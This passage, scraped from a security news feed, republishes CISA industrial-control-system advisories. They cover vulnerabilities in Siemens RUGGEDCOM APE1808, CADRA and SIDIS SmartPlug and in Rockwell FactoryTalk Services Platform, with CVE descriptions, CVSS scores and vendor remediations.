    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-288252 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-288252 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW]]> https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/ https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/ Tue, 21 Jul 2026 19:45:27 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream security notifications. [1] https://security.paloaltonetworks.com/

    The following versions of Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW are affected:

    • RUGGEDCOM APE1808 vers:all/* 
    CVSS Vendor Equipment Vulnerabilities
    v3 7.2 Siemens Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authorization, Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2026-0266

    A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OSÂź software enables a malicious authenticated administrator to store a JavaScript payload using the web interface. This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and PrismaÂź Access are not affected by this vulnerability.

    View CVE Details

    Affected Products

    Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
    Vendor:
    Siemens
    Product Version:
    RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Contact customer support to receive patch and update information

    Relevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 2.4 LOW CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

    CVE-2026-0272

    A privilege escalation vulnerability in Palo Alto Networks PAN-OSÂź software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and PrismaÂź Access are not impacted by this vulnerability.

    View CVE Details

    Affected Products

    Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
    Vendor:
    Siemens
    Product Version:
    RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Contact customer support to receive patch and update information

    Relevant CWE: CWE-862 Missing Authorization

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

    CVE-2026-0273

    A command injection vulnerability in Palo Alto Networks PAN-OSÂź software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and PrismaÂź Access are not affected by this vulnerability.

    View CVE Details

    Affected Products

    Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
    Vendor:
    Siemens
    Product Version:
    RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Contact customer support to receive patch and update information

    Relevant CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

    Acknowledgments

    • Siemens ProductCERT reported these vulnerabilities to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-104023 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-104023 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens CADRA]]> https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/ https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/ Tue, 21 Jul 2026 19:45:26 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.

    The following versions of Siemens CADRA are affected:

    • CADRA vers:intdot/<2511, vers:all/* 
    CVSS Vendor Equipment Vulnerabilities
    v3 9.8 Siemens Siemens CADRA Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')

    Background

    • Critical Infrastructure Sectors: Chemical, Commercial Facilities, Communications, Energy
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2005-2096

    zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.3 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

    CVE-2016-9840

    inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2016-9841

    inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2016-9842

    The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-1335 Incorrect Bitwise Shift of Integer

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2017-14919

    Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2018-25032

    zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2022-37434

    zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2023-45853

    MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-190 Integer Overflow or Wraparound

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2025-10585

    Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA
    Product Status:
    known_affected
    Remediations

    Mitigation
    Block access to untrusted or external web content from sensitive systems

    None available
    Currently no fix is available

    Relevant CWE: CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-13223

    Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA
    Product Status:
    known_affected
    Remediations

    Mitigation
    Block access to untrusted or external web content from sensitive systems

    None available
    Currently no fix is available

    Relevant CWE: CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2026-22184

    zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA
    Product Status:
    known_affected
    Remediations

    None available
    Currently no fix is available

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 0 NONE CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N

    Acknowledgments

    • Siemens ProductCERT reported these vulnerabilities to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation FactoryTalk Services Platform]]> https://tsecurity.de/de/3684506/it-security-nachrichten/rockwell-automation-factorytalk-services-platform/ https://tsecurity.de/de/3684506/it-security-nachrichten/rockwell-automation-factorytalk-services-platform/ Tue, 21 Jul 2026 19:45:25 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow an attacker to impersonate an authorized user on the FTSP server, resulting in unauthorized access to system configurations.

    The following versions of Rockwell Automation FactoryTalk Services Platform are affected:

    • FactoryTalk Directory (FTSP) 6.60 
    CVSS Vendor Equipment Vulnerabilities
    v3 7.8 Rockwell Automation Rockwell Automation FactoryTalk Services Platform Weak Authentication

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-10714

    A security issue exists within FactoryTalk Services Platform (FTSP), allowing an attacker to bypass JWT signature validation during Okta Web Authentication. The vulnerability stems from the application not verifying that the JWT algorithm is configured for RSA, enabling an attacker to set the algorithm to "none" and craft forged tokens. This could allow an authenticated low-privilege user to impersonate any authorized user on the FTSP server, resulting in unauthorized access to system configuration and the ability to grant permissions to other systems protected by FTSP.

    View CVE Details

    Affected Products

    Rockwell Automation FactoryTalk Services Platform
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation FactoryTalk Directory (FTSP): 6.60
    Product Status:
    known_affected
    Remediations

    Mitigation
    Users using FactoryTalk Services Platform v6.60 should apply either the individual patch (RAID 1158263) or the February 2026 Patch Roll-up, or later update.

    Mitigation
    Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell's security best practices.
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, refer to Rockwell Automation's security advisory SD1786 page.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1786.html

    Relevant CWE: CWE-1390 Weak Authentication

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    4.0 8.8 HIGH CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

    Acknowledgments

    • Rockwell Automation reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

    Revision History

    • Initial Release Date: 2026-07-21
    Date Revision Summary
    2026-07-21 1 Initial Republication of Rockwell Automation SD1786

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens SIDIS Secured SmartPlug]]> https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/ https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/ Tue, 21 Jul 2026 19:45:23 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.

    The following versions of Siemens SIDIS Secured SmartPlug are affected:

    • SIDIS Secured SmartPlug vers:intdot/<7.26.0310 
    CVSS Vendor Equipment Vulnerabilities
    v3 9.8 Siemens Siemens SIDIS Secured SmartPlug Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2022-23303

    The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2022-23304

    The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    CVE-2022-37660

    In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-323 Reusing a Nonce, Key Pair in Encryption

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

    CVE-2022-48174

    There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-5222

    A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-5914

    A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-190 Integer Overflow or Wraparound

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-9230

    Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2025-9231

    Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.

    View CVE Details

    Affected Products

